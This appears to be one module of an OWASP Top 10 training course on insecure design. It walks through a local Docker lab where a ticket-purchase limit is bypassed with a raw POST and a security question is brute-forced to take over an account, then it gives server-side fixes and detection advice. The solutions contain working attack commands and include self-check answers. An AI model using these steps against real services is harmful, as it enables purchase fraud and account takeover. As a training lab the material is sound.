OWASP Top 10:2025 Course — Module 6 of 10. Course home · Previous: Module 5 — Injection · Next: Module 7 — Authentication Failures

Learn first: what is Insecure Design

A06:2025, Insecure Design, is different from every other module in this course: there’s no single line of broken code to point at. The logic of the feature itself is the bug. A form that only enforces its limit with an HTML max="4" attribute, or a password-reset flow built around a single static security question — both "work" exactly as designed, and the design itself is the flaw.

Business rule: "max 4 tickets per account"
Enforced:      <input type="number" max="4">   <- client-side only, cosmetic

POST /buy {quantity: 200}  ──▶  server trusts it  ──▶  house sold out, one account


Business rule: "prove you're the account owner to reset your password"
Enforced:      one static question, one word answer, no rate limit, no lockout

7 guesses, no delay  ──▶  correct answer found  ──▶  full account takeover

Fixing insecure design means re-deriving the business rule server-side and replacing "secret word" authentication with something that can’t be brute-forced offline-at-your-leisure.

Scenario briefing

You’re reviewing NightVault Tickets, a small event-ticketing app, right before a high-demand on-sale. The business rule is "4 tickets per account, no exceptions" — your job is to find out whether that rule actually holds.

Lab setup

  1. Download: Download the lab (zip)
  2. Prerequisites: Docker Engine 20+, Docker Compose v2.
  3. Start it:
    cd owasp-a06-insecure-design-lab
    docker compose up -d --build
  4. Check it worked: curl -s http://127.0.0.1:5000/ should show the ticket page with a starting inventory.

Missions

Mission 1 — buy out the whole house in one request. Register a second account and buy far more than the stated limit.

Show solution

Solution — Mission 1

curl -s -c cj.txt -d "username=mallory&[email protected]&password=mallorypw1&security_question=What is your pet's name?&security_answer=shadow" \
  http://127.0.0.1:5000/register
curl -s -b cj.txt -c cj.txt -d "username=mallory&password=mallorypw1" http://127.0.0.1:5000/login
curl -s -b cj.txt -X POST http://127.0.0.1:5000/buy -d "quantity=200"
curl -s http://127.0.0.1:5000/ | grep -o '[0-9]* <span.*tickets remaining'

The form’s max="4" is a hint for a browser, not a rule for the server. One POST from one account empties the inventory to 0 tickets remaining.

Mission 2 — brute-force the security question. Run the provided wordlist script against alice‘s account.

Show solution

Solution — Mission 2

python3 app/vulnerable/bruteforce_security_question.py

A list of seven common pet names, no delay, no lockout — the fifth guess, max, succeeds in under a second:

[SUCCESS] tried answer='max' -> HTTP 302
Correct answer found: 'max'. Account takeover possible.

Mission 3 — take over the account. Use the recovered answer to trigger and complete a password reset for alice.

Show solution

Solution — Mission 3

curl -s -b cj3.txt -c cj3.txt -d "username=alice&security_answer=max" http://127.0.0.1:5000/forgot-password

Once the reset session is granted, the response confirms account takeover; this is the practical version of FLAG{a06-security-question-brute-forced} — a seven-word offline dictionary beat the entire authentication story for password resets.

Mission 4 — fix both flaws. Enforce the ticket cap server-side; replace the security question with a signed, single-use reset token.

Show solution

Solution — Mission 4

existing = get_ticket_count(session["user_id"])
if existing + quantity > 4:
    return "Purchase limit is 4 tickets per account", 400
token = serializer.dumps(username)                  # itsdangerous, signed + time-limited
reset_link = url_for("reset_password", token=token, _external=True)
# ... single-use: track used tokens, reject on replay

Apply both, restart, and run python3 lab.py verify — the fixed app enforces the cap regardless of what quantity the client sends, and no security-answer guess ever grants a reset.

Hints

Fix it + re-test

Re-derive every business rule server-side, using data the server already trusts (how many tickets this account has already bought), never a value the client supplies. Replace "secret word" recovery flows with possession-based proof — a signed, expiring, single-use link sent to a channel the account owner actually controls (email, in this lab printed to the console instead).

Detect it

Alert on any purchase quantity that would push an account over its stated cap, regardless of what the client claims the quantity is — compare against your own running total. For account recovery, alert on repeated /forgot-password attempts with different answers for the same account in a short window; a human doesn’t need seven guesses to remember their own pet’s name.

Quick self-check

  1. Why is "the form input has a max attribute" never sufficient to enforce a business rule?
  2. What makes a security question fundamentally weaker than a token-based reset, independent of rate limiting?
  3. If you added rate limiting to the security-question endpoint but kept the question itself, would the design still be insecure? Why?
Show answers

Answers

  1. HTML attributes, JavaScript validation, and anything else that runs in the browser can be bypassed entirely by sending the HTTP request directly — the server is the only party that can actually enforce anything.
  2. A security question’s answer space is small and guessable (pet names, favorite colors) and, crucially, is often reused or discoverable from social media — a cryptographically signed, single-use, time-limited token has no guessable "answer" at all.
  3. Yes — a rate-limited security question just makes the brute-force slower, it doesn’t fix the underlying weak answer space; a determined attacker (or someone who knows the victim) can still eventually guess or socially-engineer a common pet name even at one guess per hour.